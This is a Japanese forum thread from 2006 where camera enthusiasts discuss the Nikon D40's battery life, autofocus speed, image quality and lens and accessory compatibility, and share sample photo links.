D40の62000円は別に安くないし、第一もう手元にある(笑)

437 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:22:19 ID:bYM+ZETw0
>>436
安くないというか高い。

438 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:29:24 ID:xUkrVO800
17000円か!
ttp://www.zigview.co.uk/lst78.htm

439 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:36:10 ID:dU0nxvLg0
ついにこのスレにもブラクラの嵐が吹き荒れ始めたか。

440 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:37:51 ID:xUkrVO800
ちゃうよ。
>>422

441 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:46:41 ID:ubugmsTIO
D70Sに買い足したけど、バッテリーがもたん……
D70Sは1000枚くらい余裕だったけどD40は300枚で切れた

442 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:47:33 ID:YkEtZp2x0
D70sは、あれは異常です。
バッテリー一個で何千枚も撮れたなど。

443 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:51:55 ID:pg7jQOwj0
バッテリーフル充電で、1日かけて300枚ほど撮ったが、、
電池のゲージは減らなかったな。

ただ、付けてたレンズがマニュアルだったけどね。

444 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:57:11 ID:J3KczI7S0
そりゃ持つわな。

445 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:09:18 ID:HVEVC+pm0
>>442
っつーか、ニコンが保ちすぎなのかもしれない。

とある量販店、店員とE-300だか500だかを買おうとしてた客との会話
客「これ、バッテリー一個で何枚くらいとれますか?」
店員「だいたい・・・枚くらいですね」(よく聞こえず)
客「ありゃ、そんなもんですか。ニコンとかは1000枚2000枚とか書いてあるのに・・・」
店員「アレはバッテリー保ちすぎです!」(キッパリハッキリw)

446 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:10:23 ID:XGYHw4310
カメラ屋で初めて触った。
指の第一関節が余ったから、俺の手にはちょっと小さかった。
とりわけ大きな手だとは思わないけど、
女子の手だったら、あれくらいでOKだなぁ

447 :441:2006/12/08(金) 22:14:10 ID:ubugmsTIO
そういえば、カメラ内現像やらSD抜いてカシャカシャ遊んでたので
500枚くらいは行くかもね

448 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:23:23 ID:G60UwC6L0
d70sからd200に乗り換えたんだけど、確かにd70sのバッテリはバケモノか?ってくらい長持ちした。
700枚くらい撮ってもまだまだ元気なんだぜ。しかも連射撮影したわけでもなく、一枚一枚AF働かせて撮影したのにだ。

それまで燃費の悪いコンデジ(液晶モニターを見ながら撮影するからなおさら)使ってて、100枚くらいで電池落ちてたから
信じられなかったな。

449 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:38:15 ID:kloM4s180
>>441
今日、充電フルの状態で2GBいっぱい
360枚撮ったけど電池のメモリは減ってないな
まあ、VRレンズを使ったら持たないかもね。
普段使ってるD200に比べたら確実に持つけどね!!

前回はVR18-200だったけど、今回はちょっと頑張って
サンヨンつけて撮影してきました。
今日は曇天でSSが上がらないうえに三脚忘れたので
ISO400で撮ってきたけど、この感度ではノイズは全然
気にならないですね。

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061208222651.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061208222727.jpg
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20061208222828.jpg
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20061208222857.jpg

今回は剛毛山羊以外の動物たちで。

450 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:38:17 ID:SuD2Cwbj0
>>448
最近のコンデジは消費電力が少ないから100枚ってのは
よほど大食らいか電池が小さいかじゃないかな。
フジのF10〜F30(たぶん31fdも)は500〜600枚楽勝だし
PowershotAの単三4本機はエネループで700枚。
だからD70を使って電池が長持ちなのは驚かなかった。
D200を借りてあっというまになくなったのと同行者のKDNが
300枚くらいでなくなったので、D70が普通じゃないと気づいたw




451 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:39:42 ID:a1XsqzWG0
う〜ん
さっきWズームキット買って来たんだが、ファインダー内にいきなり一個のゴミがw
ハッキリと見えてるのでフォーカシングスクリーン内だね 付いてるの
真ん中に見えてるので気になる。

このまま使うべきなものか交換なものか・・
いかが?

452 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:47:15 ID:KqWSRqGl0
>>451
すぐ使う予定なら写りには関係ないからそのまま使うべし。
で、使わない時にサービスセンターで無料清掃(但し修理扱いになると1週間位かかる)
あした位なら販売店に文句言ったら新品交換してくれると思う。

453 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:49:41 ID:G60UwC6L0
最近のコンデジはずい分電池もつんだな。
漏れが使ってたのは5年前の300万画素機と、7年前前の200万画素機だったから、めちゃくちゃ電池のもちが悪かった。

デジ一の電池のもちがいいんじゃなくて、最近のデジカメ一般の技術革新によって電池の持ちが向上したのか。
なんか漏れ、浦島太郎みたいだ。

454 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:51:44 ID:a1XsqzWG0
>>452
サンクス まぁ使っていればファインダー内はゴミ入ってくるもね。
このまま使うわ (`Д´)ゞ

455 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:54:55 ID:Am3zfGJk0
>>445
ニコンは手ぶれ補正もゴミ取りプルプルがないから持つんだよ、、、

456 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:55:52 ID:Am3zfGJk0
が×
も○

失礼、、

457 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:56:22 ID:xGWYGiFD0
無駄な装備削って電池消費抑えるのは良い事だよな。

458 :名無CCDさん@画素いっぱい:2006/12/08(金) 22:58:04 ID:bCfUlo5O0
新橋駅前でD40のちっこいDVDを配ってた。
お母さん役の美人モデルに萌えた・・・

459 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:02:43 ID:pSAuX/hz0
>453
Li-ionバッテリーは、瞬間的に大電力を流すのは不得意らしい。普通の
アルカリ電池も同じだけど。
 昔の機種は画像処理時の負荷が高くて、実際の消費電力以上に
バッテリーの負荷が高かったんじゃないかな。

 今の機種は無駄にデカいLCD積んでるけど、消費電力自体は一定なんで
負荷が小さいんじゃないかと。一眼だとミラー駆動やシャッターチャージで
動く部分が多いから、チューニング次第なのかも。
 D200のバッテリーの持ちが悪いのは、駆動速度上がって電力消費の波が
大きくなったのが原因じゃないかと思ってみたり。

 もっとも、最近はLi-ionバッテリーの電動工具もあるから単なる妄想になってるかもしれんがw



460 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:03:38 ID:jyctUtFP0
>>449
ノイズ云々は俺にはわからんがアンタなかなかうまいな。
剛毛羊もよかったが今日の曇天でサンヨン手持ちとは。

461 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:04:31 ID:Xp4Pt4XL0
>>458
kwsk

462 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:06:12 ID:+EWQVgUK0
>>449
お〜GJ!
SS 1/160〜1/250でも、ほとんどブレていないですね。
3枚目が飛び気味なのと、4枚目のピン位置と少しブレ気味なのが残念かな。

463 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:13:46 ID:yL31WgLT0
>手ぶれ補正もゴミ取りプルプルがないから持つんだよ

これはその通りだね
ただ海外のサイトなんかで見るとKissDXはブルブルしてもゴミが全然落ちないので、
「バッテリー消耗装置」とか言われてるらしい

464 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:14:13 ID:5wEXYEva0
>>449
(・∀・)イイ!!

腕もなかなかだが、それにしてもサンヨンの写りはいいね。さすが神レンズ。
入荷待ちのVR70-300キャンセルして、俺もサンヨンに行っちまおうかしら。

465 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:15:37 ID:bYM+ZETw0
>>449
凄いレンズですな。4.5にしているのは、開放だとフレアが出るからとかですか?

466 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:49:09 ID:i1WCPpCA0
>手ぶれ補正もゴミ取りプルプルがないから持つんだよ

http://photography-on-the.net/forum/showpost.php?p=2123817&postcount=17
キヤノンのプルプルはゴミは取らないけど、電池だけは食うんだね!

467 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:54:17 ID:kloM4s180
>>460>462>464
どもです!!
>>465
開放から鬼のように解像する
レンズなので開放でも問題ないのですが
ちょっとした光の入り方によっては
ゴーストが出たりする事もあるので気持ち絞ってます。

http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061208234656.jpg
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061208234728.jpg


468 :名無CCDさん@画素いっぱい:2006/12/08(金) 23:59:43 ID:9Suv8trx0
すまん、猿苦手なんで、猿の画像を貼る時は「猿注意」とか書いてくれるとありがたい・・・

469 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:00:54 ID:bYM+ZETw0
>>467
なるほど。内面反射よけですか。

470 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:02:03 ID:F8w9T1qk0
猿注意て(笑

471 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:08:24 ID:Q/5wWcmn0
>>445
D200の件は無視するんだねw 都合よすぎて滑稽だねwww

472 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:13:17 ID:YPZF3EYx0
>>378
>>381

VR18-200 をD2HとD40で比べた結果。D40はシングルAFモードに設定。
大きな違いはないです。
VR70-200 でも試したけどやはり大差無しです(両方速い)
VR70-200の方が速いですが、飛びぬけて速いというほどでも、ありません。

D2Hの方が、AFがきびきび動く印象があるけど、
実時間では誤差範囲(手動計測では無理な速度)
むしろAFが迷うかどうかの方がよほど影響がでます。

テストは、マニュアルで最近接までピントを動かしてから、
ややコントラストの低い5m先のターゲットにAF合焦するまでの時間を
ストップウォッチで計測しようとして、速すぎて計測できませんでした(笑)
AFエリアは両ボディともに中央。焦点距離は両レンズで200mm。

473 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:15:14 ID:YPZF3EYx0
>>468
わがままいうなよw

474 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:15:17 ID:ac57OnnL0
虫ならまだしも猿が苦手ってw

こんなに可愛いのに( ^ω^)
ttp://blog.houroki.com/images/saru.jpg

475 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:22:23 ID:YPZF3EYx0
購入検討中の方へ

http://www.nikon-image.com/jpn/products/camera/slr/digital/d40/special/index.htm

476 :名無CCDさん@画素いっぱい:2006/12/09(土) 00:25:16 ID:s95EhRvn0
猿注意!
http://www.fukkan.com/image/item/4091449-1.gif

477 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:03:22 ID:bErHqHYt0
>>475に出てくるモデルのお姉さん、美人ですなぁ・・・。有名なモデルさん?
http://www.nikon-image.com/jpn/products/camera/slr/digital/d40/special/technique/index12.htm

478 :378:2006/12/09(土) 01:05:32 ID:X5x6cXlS0
>>472情報ありがとうございます。
差がない、でないとおかしいとは思っていました。

479 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:20:17 ID:s95EhRvn0
どうして?

480 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:29:57 ID:YPZF3EYx0
>>478
厳密にいえば、差はあるんだけどね。
大げさに「遅い」とか「雲泥の差」というほどではないですよ。

どこに差があるかといえば、AFセンサーのアルゴリズムですね。
給電力から、モータのトルクが変ってる可能性はあるけど、
それ以上に、迷うか迷わないかのほうがはるかに大きいようです。
(当然、上位機の方が、センサーがかしこいので早くなる)

レンズの動かし方も全然違います。
D40は、連続的にややもったりした動きですが(同じ速度でピントがあう部分を探して動く)
D2Hは、クッククックと、明らかにデフォーカスな部分をすっ飛ばすようです。

481 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:31:59 ID:fR1OlP2n0
中央一点でシングルフォーカスにしたら、差は無いんじゃないかね。

482 :378:2006/12/09(土) 01:37:19 ID:X5x6cXlS0
ボディは駆動のための電気を供給するのですが
そんなものをAF動作を犠牲にしてまでケチるとは思えなかったからです。


483 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:43:08 ID:YPZF3EYx0
>>482
それは違うと思いますよ。
従来のAFカップリング式(AF-Sでないもの。D40でAFがきかないもの)では
ニコンは明確に、上位機がAFが速く、エントリー機は遅い。
これは、本体の中のモーターのパワーが違うので、当然だけれども
モータが強ければ電力も食うので、軽量化しつつバッテリーの持ちを考慮すれば
給電力の小さい弱いモータを搭載する合理性もあるでしょう。

用途を考慮して、モデルに差をつけるのはあくまでもカメラデザインとして
計算されているものであって、
何も考えずに「遅くなっちゃいました」というものではないでしょうね。




484 :378:2006/12/09(土) 01:47:59 ID:X5x6cXlS0
D40はボディ内モーター搭載していないですよね。
D40もD2Hも同じレンズ内の
同じモーターを駆動しているわけです。同じだろうな、って
思って不思議はないのでは。


485 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:50:26 ID:1lo4OFM60
D40買ったんだけど画質が悪くて困ってます
画質も過剰に宣伝してるわりには大した事なく
塗り絵べとべとで質がかなり酷いし
買うんじゃなかった
はぁ〜…高い無駄使いしちゃったなぁ

486 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:50:37 ID:YPZF3EYx0
>>484
モータというのは、電気で動くので、電圧のかけかたでトルクは変りますよ。
もちろん強く回そうとするほど、電力の仕様効率は悪くなる・・・・

まあ、多少はセーブしていると見るほうが妥当です(比べた結果)。
でも大げさに言うほど遅いわけでもなく、
センサーの力の方が効いていますね。

487 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:51:31 ID:hL7guQpb0
俺も今日、17-55/2.8をD2XsとD40で比べてみたけど、
ほとんど変わらないと思った。

488 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:54:53 ID:3DxvCVPU0
レンズ内モーターに給電する電圧が違って当然と言いたいのでは

489 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:55:27 ID:I+7mubsc0
>>485
その写真UP希望Exif付きで

490 :名無CCDさん@画素いっぱい:2006/12/09(土) 01:55:58 ID:eiplbau60
AI-SのMFで全て解決

491 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:03:53 ID:RiZgmEpg0
>>485
画質が悪いのは撮る人が下手だから仕方が無いとしても、
塗り絵にはならんよ。

・・・と煽りにマジレすも、たまには良いよね?

492 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:06:31 ID:Qv47SF090
>>その写真UP希望Exif付きで
ホラホラ、485さんが困ってるでしょ?
あまり無理難題を言うもんではありませんよ、メッ!

493 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:07:17 ID:YPZF3EYx0
ちなみに、D40用のModechanができあがったようですよ。
NC使いでサブ機にD40をご利用の方にも朗報です。

494 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:18:36 ID:AuS/iBEe0
>>485
おれも禿げしく同意。
なんかさD40って、ものすごくのっぺりした画になるんだよ。
何撮っても同じ。
こういうの塗り絵っていうの?

ほんとに、画質も過剰に宣伝してるわりには大した事ないよね!







って、ごめーん。
間違ってISO感度3200(HI1)で撮ってたわ。
どうりでノイズだらけで、のっぺりした画だと思ったよ。
>>485さん、キミも設定間違えてるんだよ。
そうでしょ?
ぜひ確認してみてよ。

495 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:19:07 ID:YPZF3EYx0
>>494
あぼーんしかけたw

496 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:30:51 ID:VKdzOdvV0
D2Xで使ってる感じだと、AF-SなんかよりVRの方が10倍ぐらい電池食ってる感じがする。
EL-3の供給力じゃ、VR付けっぱだと2時間が限度だ。
切れば余裕で1日使える。

電圧下げて電力セーブしてるってことは、VR能力も落ちてるということはないだろうか?

497 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:31:45 ID:VKdzOdvV0
あう
D2Xで使ってる感じじゃなくて、D100で使ってる感じの間違いですだ

498 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:38:20 ID:W5gX8kV20
VRは電力が下がると自動的に補正をしなくなるしね。

499 :名無CCDさん@画素いっぱい:2006/12/09(土) 02:51:03 ID:YPZF3EYx0
>>496
2時間はオーバーだなぁ・・・そこまで減るかね

500 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:02:38 ID:aBmGE/KB0
http://computers.news.livedoor.com/series_detail?id=56253
D40vsD50撮り比べ対決。どちらが良いでしょう。
カメラにも個体差などある物で、全てのD40&D50で同じともいい難いが、参考にはなる。

501 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:17:49 ID:PJLkAqF20
>449

猿の写真うまいですね(素人)。

今まで作例でD40がいまいち信用できんかったけど撮る人が
撮ったらこんなの撮れるんですねー。買う!

502 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:25:13 ID:RiZgmEpg0
>>500
これは参考になるね。
はやりD40の方が、やや白とびを許容する露出チューニングって感じかな?
にしても、ピンが甘いのかブレなのか、甘い写真も多いね。

>>501
>撮る人が撮ったらこんなの撮れるんですねー。
うん。
でも、レンズの力ってのも有るから、レンズは十分調べてみてね。 

503 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:40:14 ID:T5Hr3qk90
>>500
livedoor のレビューって、相変わらず酷いなあ。
あんな風景で高感度ノイズを比較させるとは。。。

504 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:42:35 ID:VKdzOdvV0
D50と画質対決かよ
わざわざ強敵を相手に比較せんでもw
しっかし、ほとんど撮影中の誤差みたいな違いしかない、ほぼ同質を絵を見て、
重箱の隅をつつくようにD50をけなしてるのが、ほほえましい記事ですね。


でもやっぱ2つの絵の出方はそっくりだな。
盛大にフリンジが出る傾向なところまでそっくりだ。

505 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:45:10 ID:T5Hr3qk90
>>504
パープルフリンジは、ボディは関係ない。
レンズの性能。

506 :名無CCDさん@画素いっぱい:2006/12/09(土) 03:50:05 ID:W5gX8kV20
レンズが同じなら画素ピッチによっても増大するよ。

507 :名無CCDさん@画素いっぱい:2006/12/09(土) 04:30:08 ID:VKdzOdvV0
>>505
同じレンズでも銀塩では出ませんが何か

508 :名無CCDさん@画素いっぱい:2006/12/09(土) 04:43:08 ID:mIWReFLH0
>>507
どのレンズで比べたの?
少なくともD40やD50のキットレンズでは無いとは思うけど・・・
つうか、あのレンズは解像度はそこそこなんだけど、パープルフリンジはちょっと辛いね。

もっとも、フィルムだと紫の感度が低くてパープルフリンジが見え難いのかも知れんけど、
このスレなんかを見ると、高解像度でスキャンした画像には、フィルムでもパープルは出てるよ。
http://hobby7.2ch.net/test/read.cgi/dcamera/1139027895/

509 :名無CCDさん@画素いっぱい:2006/12/09(土) 09:20:05 ID:J9jxtgPT0
>>508
そりはスキャナのせい
ドラムスキャナでスキャンしなおせ


510 :名無CCDさん@画素いっぱい:2006/12/09(土) 09:28:23 ID:/E8OFqc+0
>>507
「同じレンズでも」って、この作例のレンズはデジタル専用のDX18-55だぞ?
銀塩につけたら四隅が盛大にケられてパープルフリンジのチェックどころじゃないと思うが?(笑)

どんな神業を使って撮ったのか回答求む(笑)

511 :名無CCDさん@画素いっぱい:2006/12/09(土) 09:48:39 ID:4G95IT1c0
>510
プロネアにでもつけたんじゃね?


512 :名無CCDさん@画素いっぱい:2006/12/09(土) 09:54:16 ID:x0g/NyPo0
亀レスだが、俺は美女恐いから美女注意でうpしてね

513 :名無CCDさん@画素いっぱい:2006/12/09(土) 09:54:58 ID:ksQas2gO0
>>510

テレコンつければ、、ケラレなくないか?
ケンコーのx1.5とか

514 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:00:29 ID:7zOcwsSEO
>>512
饅頭怖いかよw

515 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:13:16 ID:1sWP2y8Q0
D40 の検索結果 約 7,210,000 件中 1 - 10 件目


D80 の検索結果 約 12,200,000 件中 1 - 10 件目
D200 の検索結果 約 12,500,000 件中 1 - 10 件目

D70 の検索結果 約 16,000,000 件中 1 - 10 件目
D50 の検索結果 約 15,000,000 件中 1 - 10 件目

KDX の検索結果 約 1,240,000 件中 1 - 10 件目
20D の検索結果 約 20,100,000 件中 1 - 10 件目
30D の検索結果 約 12,300,000 件中 1 - 10 件目

K10D の検索結果 約 3,440,000 件中 1 - 10 件目
K100D の検索結果 約 2,770,000 件中 1 - 10 件目

EOS の検索結果 約 65,200,000 件中 1 - 10 件目
canon の検索結果 約 251,000,000 件中 1 - 10 件目
キヤノン の検索結果 約 8,780,000 件中 1 - 10 件目
キャノン の検索結果 約 4,800,000 件中 1 - 10 件目

NIKON の検索結果 約 6,890,000 件中 1 - 10 件目
ニコン の検索結果 約 4,310,000 件中 1 - 10 件目

516 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:22:19 ID:eiplbau60
ニッコール の検索結果 約 359,000 件中 1 - 10 件目 (0.23 秒)
EFレンズ の検索結果 約 92,500 件中 1 - 10 件目 (0.19 秒)

517 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:26:54 ID:gd3xrXZ90
>>515
D40って出たばかりなのにKDXやK10Dよりヒット数多いんだね。
すごいな。

518 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:37:06 ID:T5Hr3qk90
>>506, >>507
確かに、銀塩では、目立たないね。
私の言い方、間違っていました。

パープルフリンジは、レンズによって発生しているけど、
画像素子によっては、その現象が目立たないことがある。
つまり、同じレンズを使った場合、パープルフリンジが、
目立つカメラの方が、一般的に、解像度が高いといえる。


519 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:38:49 ID:liKbZH7s0
D40は価格帯の割りにいいとの意見多数ですが・・・。
自分、初心者なのであれなんですが、キタムラの比較写真とかを見ると、
どうしてもにじみ・・・?というかぼやけているのが気になるんですが。

気のせいですかね?

520 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:42:40 ID:gd3xrXZ90
>>519
>>30

521 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:45:03 ID:liKbZH7s0
>>520
なるほど。では、Fine(っていうんですよね?)で撮れば、D50以上ってことでよろしいですか?

522 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:50:56 ID:zIVLnDNR0
せっかく比較写真うpしてくれるなら、exif消して当てさせてよ。
次の日にexif付を再うpするとかさ。
そのほうが、ちょっとおもしろい。

523 :名無CCDさん@画素いっぱい:2006/12/09(土) 10:51:35 ID:gd3xrXZ90
>>521
むむむ。D40は持ってるけど、D50は持ってないから
その答えには答えられないなぁ。

>>500-504あたり参考になるんでないかな。


524 :名無CCDさん@画素いっぱい:2006/12/09(土) 11:07:27 ID:WUDcgOsx0
http://www.imgup.org/iup298189.jpg

525 :名無CCDさん@画素いっぱい:2006/12/09(土) 11:40:34 ID:rq67E0hH0
>>524
みれない

526 :名無CCDさん@画素いっぱい:2006/12/09(土) 13:01:27 ID:IGvhikrG0
D70s+AF50/1.8で撮りました。D40は比べ物にならないほど綺麗なんですか?
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061209125814.jpg




527 :名無CCDさん@画素いっぱい:2006/12/09(土) 13:22:09 ID:iEV2y5Hf0
もちろん。

528 :名無CCDさん@画素いっぱい:2006/12/09(土) 13:27:30 ID:7iy+TX1p0
奇麗かどうかって前にピンがどこにきてるんだっていうかSS1/15だからブレてるのか。。

529 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:17:50 ID:Qv47SF090
>>528
激ドー
ピントだとしたら合ってるとこ無いもんね。

530 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:18:54 ID:Fh8pDvFy0
>>526
次回はがんばれ!

531 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:33:22 ID:1ypYqRL10

D40 excellent image quality!

532 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:36:28 ID:BdScRKK40
D40買いますた
よろしくね

http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20061209163503.jpg

533 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:45:05 ID:JZ6KlBdB0
>>532
なんちゅーところにカメラを置くんだ・・・・
埃だらけになるぞ。

部屋のディティールが写らない場所を探したんだろうとは思うが・・・

534 :526:2006/12/09(土) 16:48:15 ID:IGvhikrG0
D70s+VR24−120で撮りました。これでも比べ物にならないほどD40は綺麗なんですか?
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061209164413.jpg

535 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:48:51 ID:ZFct9ZdH0
D40で撮影したRAW+BasicをD70sに移したら再生出来たのに(逆も可だった)、
NXで現像、保存したNEF,jpeg共に再生出来ん

536 :名無CCDさん@画素いっぱい:2006/12/09(土) 16:56:15 ID:+kY37RJMO
触って来た。良いね。

ファインダーも井戸感が無くなってる。
十字ボタンが押しにくいぐらいかな。

あとAFポイントのローテーションは出来ないの?
ボーナス時期人大杉で、細かな設定を試せなかった。

537 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:03:34 ID:RiZgmEpg0
>>534
少なくとも、左上の背景のノイズはD40だと、かなり少ないと思う。
それ以外の写りはD70sも良いよね。俺はD70だけど、今も使ってる。

538 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:15:50 ID:zMkE7wGw0
>>532
D200のレンズは何ミリ?

539 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:16:32 ID:OSAOTd3z0
撮り鉄にはD40は向いていませんか?

540 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:19:47 ID:BdScRKK40
>>533
失敬なw
埃だらけの部屋って言われてるのと同じじゃん
手入れは怠ってませんので無問題です

>>538
35mmF2Dですよ



541 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:21:21 ID:zMkE7wGw0
>>540
35mmF2Dか良い玉だよね。漏れも持ってるよ。
今は20mmF2.8Dを買おうか悩んでる…

542 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:26:13 ID:BdScRKK40
>>541
画角的にもちょうどいいですね。
最近はこれ付けたままでVR18-200が遊んでますw

>>534
バイザーの所に青く光って見える光点はもしやCCDの画素欠け?
1/200のシャッター速度ならホットピクセルノイズではなさそう。

543 :名無CCDさん@画素いっぱい:2006/12/09(土) 17:56:18 ID:Qv47SF090
PB-6は使えるみたいだけど、
その前のPB-5は使えますか?
知ってる人、教えてください。

544 :534:2006/12/09(土) 18:17:47 ID:IGvhikrG0
>>542
他の画像には写ってないから、たぶん自縛霊か何かだと思います。

545 :名無CCDさん@画素いっぱい:2006/12/09(土) 18:48:37 ID:vp1IwO7L0
AF-Sレンズって、オートフォーカススモールという意味で、D40専用レンズのこと?

546 :名無CCDさん@画素いっぱい:2006/12/09(土) 18:52:25 ID:eiplbau60
>>545
違うよ

547 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:01:01 ID:BdScRKK40
>>545
ビール吹いたw

548 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:03:38 ID:rXlyJaqh0
>>545
Supersonic waves motor

549 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:22:07 ID:BslW0Ybv0
>>545
AFO-Sine

550 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:45:14 ID:5XwGUXj+0
>>548
afsになっていないぞ。

551 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:49:39 ID:yyjxRwmT0
おじさんたち、意地が悪いなあ。小学生を馬鹿にすんな!

552 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:54:41 ID:1ypYqRL10
>>551 このスレにおじさん、おじいさんとか男子はいないよ!
ママさんとキムタク・ラヴなオネェさんしかいないんだぜ。

553 :名無CCDさん@画素いっぱい:2006/12/09(土) 19:54:50 ID:BdScRKK40
いや だから
AF(オートフォーカス)-S(Silent Wave Motor)

ちょーおんぱモーター駆動のオートフォーカスレンヅ

554 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:20:30 ID:c+CcaetH0
>>543

手元のPB-4には問題なく取り付けられたので、
PB-4の簡略版であるPB-5にも付くのでは。

555 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:22:49 ID:hajb4Ih60
>>526
レンズの取り合わせが微妙ですな。

556 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:27:26 ID:KYL6IkyiO
山梨ディズニーランド

557 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:38:00 ID:Qv47SF090
>>554
>>手元のPB-4には問題なく取り付けられたので、
素早いフォロ、ありがとございます。
ついでにといっては何ですが、
この時代の中間リングやリバースアダプタ(押入にしまいこんでるので、
今は型式不明)などもも使えますでしょうか?


558 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:48:04 ID:1hlSZjgy0
>>541
20mm F2.8は結構モヤモヤだぞ。


559 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:52:30 ID:c+CcaetH0
>>557
リバースリングに関しては
どう考えてもBR2はお薦めできない。BR2Aを使うべきだろう。

# 一応、BR2をつけようとしたが途中で引っかかって取り付けられなかった。


中間リングだが
現行のは一番長いPK-13以外、他の長さのものには末尾にAの付いた
AF対応改良型のが現在はあるのでそれを使うべきだと思う。

# 中間リングはPK-13しか持ってないので取り付けてみたら問題なく付いた。



560 :名無CCDさん@画素いっぱい:2006/12/09(土) 20:54:15 ID:c+CcaetH0
補足:
AF対応といっても、取り付けたときにAFカメラが破損しないというくらいの意味です。

561 :557:2006/12/09(土) 21:06:01 ID:Qv47SF090
>>559
詳しく説明していただいてありがとうございました。
リバースの型式は、確かBR2だったと思います。
もちろん、"A"のつく頃のものではありません。

>>AF対応といっても、取り付けたときにAFカメラが破損しないというくらいの意味です。
ありがとうございます。もちろん承知しております。


562 :名無CCDさん@画素いっぱい:2006/12/09(土) 21:35:15 ID:U533Qr8K0
SWMをSupersonic waves motorと言ってるバカはどこから引用してきたんだ?
カタログに「Silent Wave Motor」って書いてあるのに、USMやHSMから引っ張ってきた厨房か?

